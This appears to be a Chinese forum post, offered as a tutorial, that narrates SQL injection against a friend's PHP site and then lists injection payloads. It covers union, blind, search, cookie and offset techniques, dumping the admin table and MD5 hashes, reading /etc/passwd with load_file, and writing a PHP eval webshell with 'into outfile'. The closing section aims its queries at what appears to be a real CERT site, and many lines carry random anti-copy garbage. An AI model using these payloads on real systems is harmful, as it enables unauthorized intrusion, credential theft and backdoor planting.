我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~3 t6 L0 w# T2 @) w5 S
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
5 v2 Z& d) L. W$ f$ `, t我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
0 g" ~! `8 u) s& d O3 a7 g如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
) C$ r! a5 H9 k+ Z" q. l1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
/ K: n& K/ Z9 u: H8 S这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
# L0 M' m* L8 n G, cWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in9 `2 {3 U( v& E1 Z
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入$ m( N) {' |% e; E, w
# ~4 j* z1 I! F% q
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,8 f' I; P. q, u E) ]
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意( b: h/ @8 h* b8 E
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息$ x" y. V1 ` j! E' }3 w S
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
% H3 G( g% l4 }1 c* X有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
7 J% v: X, {7 g# z2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
" J0 I3 F0 F1 Z9 M; I+ R8 s我就用的是第二个思路,5 [% T; [, {6 c- m4 \8 j
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
* [) E5 b. ]9 k, x6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,5 p/ z# L, I5 }/ F- v; T
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--6 g% H5 l6 `) V+ \$ S
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。5 t2 A- P! X6 k0 _9 P
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????( K1 m3 A' z2 ]; B9 E2 B1 K
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd..... S ]$ D3 k: G, c1 o/ c/ M% I
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --1 A# W0 X/ a) N0 N
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
c' \4 x7 l3 l" T, f调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
6 U! ?/ A! T+ [3 o3 }+ C下面是一些很普遍注入方式资料:& _& Q$ I+ ]; [* h b O
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
& B; g: S. T; @% M拆半法6 d5 r" P- U1 [, k1 ]: H
####################################### N% N& g' O, R! { d6 s$ L+ T, {. M! P7 p
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
+ B6 U: j: ^4 u5 C" rand exists (select * from admin)7 e" Q9 x# p! s9 m8 V
and exists(select id from admin)3 }1 s8 A n* T
and exists(select id from admin where id=1)1 s5 G( }, k* l* n) v
and exists(select id from admin where id>1)
9 S" P$ Q* \/ ?, E" i1 l然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 , H) }' r: i/ w
and exists (select username from admin): _+ X4 o) D, Y
and exists (select password from admin)- }/ s4 ]+ X w, q& K, ?
and exists (select id from admin where len(username)<10 and id=1)
) ~0 ^+ \+ x0 @. X0 W- g/ ^and exists (select id from admin where len(username)>5 and id=1)
6 {9 l6 K/ P/ ^3 Nand exists (select id from admin where len(username)=6 and id=1)
- T6 P9 C6 g/ q, [and exists (select id from admin where len(password)<10 and id=1)8 {1 v, Y* F. w7 y5 Q
and exists (select id from admin where len(password)>5 and id=1)
, I$ y1 H p$ M. `5 D7 C/ F ]1 `6 Gand exists (select id from admin where len(password)=7 and id=1)
; k( @8 T7 g) x& fand (select top 1 asc(mid(username,1,1)) from admin)=97# g' K5 a* A: Z$ |% A: A
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
/ g9 W% d+ N- q$ q( ?+ k猜第二位把username,1,1改成username,2,1就可以了。
, k! v6 t0 r5 F" ]8 Y猜密码把username改成password就OK了
5 a F( o+ U( U" g##################################################$ P) ]- C" }! b+ `1 R( J
搜索型注入
, a7 ^- ~* V5 o; r" S; t) p##################################, C1 H5 h/ A/ r V
%' and 1=1 and '%'='
6 i8 @3 K2 D2 [) z% Y! Z%' and exists (select * from admin) and '%'='
9 `6 q6 j# h$ j%' and exists(select id from admin where id=1) and '%'='
# I9 h( E t. e o- L%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
: e: S' Y( G; H%' and exists (select id from admin where len(password)=7 and id=1) and '%'='; [% |# Z0 l$ U5 P. Z u; w
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
+ h' Y$ n7 k$ O( j. I这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
+ Y; x0 }+ v( V$ T ?, t对于MSSQL数据库,后面可以吧 and '%'='换成--. ^) d8 C6 Y- ]0 s+ ]0 w8 G
还有一点搜索型注入也可以使用union语句。. Q3 j2 e8 \# R. u2 r& p) b
########################################################
* V5 E; N! ]4 S( H" x联合查询。" t0 S/ C% G7 H) Y
#####################################
0 C3 U" R! H0 _" C: I4 z/ lorder by 10
2 d5 \; W: ?$ L- N# [, iand 1=2 union select 1,2,3,4,5,6,7,8,9,10
6 m. [1 W8 P5 d4 A* h jand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
]2 H4 w( U5 a; _- E$ }and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1$ ~' n, d1 @) L
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)' a1 G+ b. F* p+ s) A1 M. N
###################################1 o+ O3 F8 N5 q& A( i
cookie注入& P6 o& p: b* c# i% @% t' }6 o
###############################
7 U" ?$ W- u- S2 k. W" yhttp://www.******.com/shownews.asp?id=127
3 L; z1 { c8 Q7 whttp://www.******.com/shownews.asp
6 G* [5 ^4 P4 z) S4 |0 S! J t8 malert(="id="+escape("127"));
) [. W* z! U) c7 [alert(="id="+escape("127 and 1=1")); g- ~6 z1 p' W( S, l$ ?# a
alert(="id="+escape("127 order by 10"));0 R" o& ]. [7 r6 M7 x" m
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
% ^$ @) a' J. {1 D& aalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));/ B1 m1 y) S2 @. f9 w( s
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
8 b2 L) o8 N7 {###################################
( o# E: c3 |2 S5 E0 S偏移注入
. F) ~# c* l! I9 L3 v4 r# s$ A###########################################################6 ]2 \2 {9 f# F2 `5 ], \4 X V
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
; G- D- F& a* Q* dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
& z. m2 l f, X, B Cunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
! a6 ~5 H5 G j6 M- Lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)* e2 U* L- X' E8 T {0 ?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
1 Q$ P/ K4 z# U9 _- ?6 c) iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)" i2 U3 [+ j0 K2 H! t
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
) I0 f1 f$ T+ n, ra.id=d.id)
" S% B* E: ?- m3 k P Xand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
; D3 r; [6 [$ D- D8 s7 Z, L9 hand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) ' D4 w' X& i K
: X4 c' T) z" T
============================================================================================================; u* V$ ~7 T% z
1.判断版本3 c, z) D0 U1 ~0 \. t/ J6 y" q
and ord(mid(version(),1,1))>51
! F" {4 p6 O8 v$ n x* M返回正常,说明大于4.0版本,支持ounion查询0 m: ~1 D7 h2 M
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解- I6 E& n! Q H
and 2=4 union select 1,2,3,4,5,6,7,8,9--
% G- t6 `0 \, M, r4 k2 ?. b, \3.查看数据库版本及当前用户,
, B/ ]' O9 G! C2 Z: o4 wand 2=4 union select 1,user(),version(),4,5,6,7,8,9--/ s6 ^7 h- p: W
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,: G* h8 U9 a* H6 |! e( h
4.判断有没有写权限6 {8 j! O6 ?8 D8 H% f6 i
and (select count(*) from MySQL.user)>0-- * I& w/ f1 I0 C+ i6 l4 H
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
4 C8 x: i1 g- ~用不了这个命令,就学习土耳其黑客手法,如下
! a8 ]$ j8 `7 ^# L9 c. E0 |and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
5 m# K- d' D! Q6.爆表,爆库4 i2 E/ h2 ^( F/ O* ]' L
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--$ _) F8 A) v$ R# W' ]" n5 \
7.爆列名,爆表
1 C3 | v) r. @( N% [and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--) V& G6 {3 _6 h+ N
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
* J1 B. O9 T b+ [% A4 Dand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys-- X/ ?* m& p3 F0 x: w6 }* R
9.爆字段内容2 Z! M3 Z! @) L! D2 I+ P, @$ s6 z
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
0 l9 R) B4 h$ w* d2 Uhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |